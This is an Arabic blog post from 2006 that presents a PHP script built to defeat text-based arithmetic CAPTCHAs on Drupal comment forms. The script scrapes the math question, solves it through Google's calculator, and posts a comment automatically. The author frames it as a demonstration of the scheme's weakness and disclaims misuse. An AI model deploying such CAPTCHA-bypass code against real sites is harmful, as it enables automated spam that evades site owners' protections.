استقلال القضاء حق كل المصريين
هذه الصفحة تعتمد على صفحات الطرز المتراصة (CSS)
26 08 2006

أحبّ أسّخّم أحيانا

بما أني قضيت اليوم كله أبحث عن طرق للحد من سخام التعليقات و التتبع على هذه المدونة، و بما أن ورائي أعمال أخرى هامة و عاجلة، فقد قررت أن أشغل وقتي بشيء لا لزوم له على لإطلاق يهدف إلى التسخيم على الآخرين.

أخذت مني وقتا طويلا نسبيا (ساعتين) لأني لم أكتب أي كود على الإطلاق منذ سنوات، و لأني محدث PHP، لكن ها هي النتيجة :

<?php /* Code to demonstrate how text arithmetic captcha can be defied using Google calculator. Ahmad Gharbeia, 2006-08-26 This code is meant for demonstrating only. Use of it, or a derivative of it, to propagate comments or defy spam-suppressing mechanisms or to disrupt the work of web sites and systems, or interact with web sites in ways other than those specified by the websites owners and/or managers is prohibited by the author. */ //The following variables can be passed to this script via a form. $pURI = "http://example.org/node/1529"; //the URI of the post having the captcha at the comment form $comment['edit[name]'] = "Alif"; $comment['edit[mail]'] = ""; $comment['edit[homepage]'] = "http://zamakan.gharbeia.org/"; $comment['edit[comment]'] = "Text math captchas can be easily defied using Google calculator and cURL at <a href=\"http://zamakan.gharbeia.org/233\">http://zamakan.gharbeia.org/233</a>.\nSorry, Sameer, but you're the only one I know who uses it :P"; $ch = curl_init($pURI); curl_setopt($ch, CURLOPT_FAILONERROR, TRUE); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); curl_setopt($ch, CURLOPT_HTTPGET, TRUE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); preg_match("~<label for=\"edit\-captcha_response\">Math Question: What is (\d+\s[\+\-]\s\d+)\?: <span class=\"form\-required\" title=\"This field is required\.\">\*</span></label>~", curl_exec($ch), $foomath); curl_setopt($ch, CURLOPT_URL, "http://www.google.com/search?q=" . urlencode($foomath[1])); preg_match("~<td nowrap><font size=\+1><b>\d+\s[\+\-]\s\d+\s=\s(\d+)</b></td>~", curl_exec($ch), $goomath); $comment['edit[captcha_response]'] = $goomath[1]; curl_setopt($ch, CURLOPT_RETURNTRANSFER, FALSE); curl_setopt($ch, CURLOPT_POST, TRUE); curl_setopt($ch, CURLOPT_POSTFIELDS, $comment); curl_exec($ch); curl_close($ch); ?>

هذا الكود يخترق مانعة السخام الحسابية النصية البسيطة التي تهدف إلى التأكد من أن واضع التعليق أدمي و ليس آلة، وهي المستخدمة في بعض مواقع دروبال مثل عند محمد سمير.

و هو يستخدم آلة جوجل الحاسبة المسألة الحسابية، ثم يستخدام الحل في وضع تعليق سخامي يتجاوز آلية المنع.

السبب في سهولة اختراق هذا العائق هو أن المسألة الحسابية مقدمة في شكل نص. لو كانت موضوعة في صورة لصعب الأمر كثيرا لأنه يحتاج إلى آلية للتعرف البصري على الأحرف OCR، و هي أكثر تعقيدا بكثير.

احمد ربنا يا محمد سمير أني لم أربط لهذا الكود في ملف في هذه التدوينة، و إلا انهال عليك السخام من حيث لا تحتسب. فاكر المناقشة القديمة عن الفرق بين GET و POST و RESTful web؟

دا يعلمنا أن الشر و السخافة أسهل بكثير. ما تعملوش كدا.

الكود أعلاه منشور بهدف تقييم جدوى نظام أمني محدد و استخدامه، أو أي تنويعات عليه، بغرض نشر السخام أو تعطيل المواقع أو الاستخدام أو الولوج غير المصرح به لنظم يملكها آخرون هو فعل غير قانوني يتحمل مرتكبه مسؤوليته. (اقرأ الفصل الثالث من ميثاق حقوق الآلات الواعية)

21 08 2006

أمار و أكبر و أنتوني

18 08 2006

جوجل حرب ("أرض" سابقا)

14 08 2006

بلد ضباط الجوازات

08 08 2006

على ورق الموز دلّعني: رسالة في العجب